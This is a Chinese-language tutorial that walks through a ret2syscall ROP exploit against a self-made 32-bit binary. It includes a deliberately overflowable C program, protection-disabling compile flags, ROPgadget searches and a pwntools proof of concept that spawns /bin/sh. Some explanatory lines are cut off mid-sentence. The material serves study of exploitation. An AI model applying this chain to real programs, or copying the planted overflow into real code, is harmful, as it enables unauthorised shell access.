程序:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
很容易看出func存在溢出
liunx上面的系統調用原理
eax 系統調用號
ebx 第一個參數
ecx 第二個參數
edx 第三個參數
esi 第四個參數
edi 第五個參數
int 0x80
我們利用上面的溢出和根據ropgadgets與ret2syscall技術原理去執行execve("/bin/sh",null,null); ,
所以eax就存放execve函數的系統調用號11,ebx存放第一個參數/bin/sh,ecx存放第二個參數null,就是0,edx存放第三個
eax=11 0xb
ebx="/bin/sh"的地址
ecx=0
edx=0
編譯
gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
gdb 7.exe
start
static:靜態編譯,這樣有指令流序列
找到溢出點:
在44溢出
利用ropgadget找指令地址
利用溢出把函數execve需要的參數壓入棧中,壓入棧中之后,這個時候我們就需要找指令地址,利用ret、push、pop這些指令把值賦值到相應的寄存器中
ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
找指令流中包含pop和ret的,還必須有eax,我們用:0x080aaa06
ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
地址:0x0806f711
ROPgadget --binary ./7.exe --string "/bin/sh"
/bin/sh地址:0x080ae008
ROPgadget --binary ./7.exe --only "int"|grep "0x80"
int 0x80地址:0x0804a3d2
poc和解釋
from pwn import *
context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)
value_eax=p32(0xb)
add_edx_ecx_ebx=p32(0x0806f711)
value_ebx=p32(0x080ae008)
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()
解釋一下:
溢出44,所以我們用44個0x90填充,add_eax是pop eax ; ret 這段程序的地址, 當執行func函數的ret語句時會,eip為這個地
執行pop eax ; ret 這兩條語句,pop eax,此時棧頂值只要時調用execve函數調用號,我們就成功把調用號復制給eax,eax
所以后面加了value_eax 。
執行完pop eax ,棧頂的值是add_edx_ecx_ebx ,也就是下面程序的地址
pop edx ;
pop ecx ;
pop ebx ;
ret
執行ret,我們到這段程序執行,此時棧頂的值是value_edx ,執行pop edx ; ,value_edx到edx中了,后面指令依次類推,執
棧頂的值是: add_int ,也就是int 0x80 的首地址,執行完ret,我們到這里執行,成功調用execve函數
執行poc,成功:
總結
這個思想大致是在一個程序中,找出我們需要的語句,然后利用溢出,構造數據,把數據打入棧中·,然后利用pop、push、ret語句,將這些數據傳入到相應的寄存器,然后讓程序去執行這些語句,相當于我們在
一些語句,讓程序不按照原來的步驟執行,去執行我們找出來的語句。
這里面關鍵的技術是保證堆棧平衡,把參數放到指令流需要的地方。這是ropgadgets技術的精髓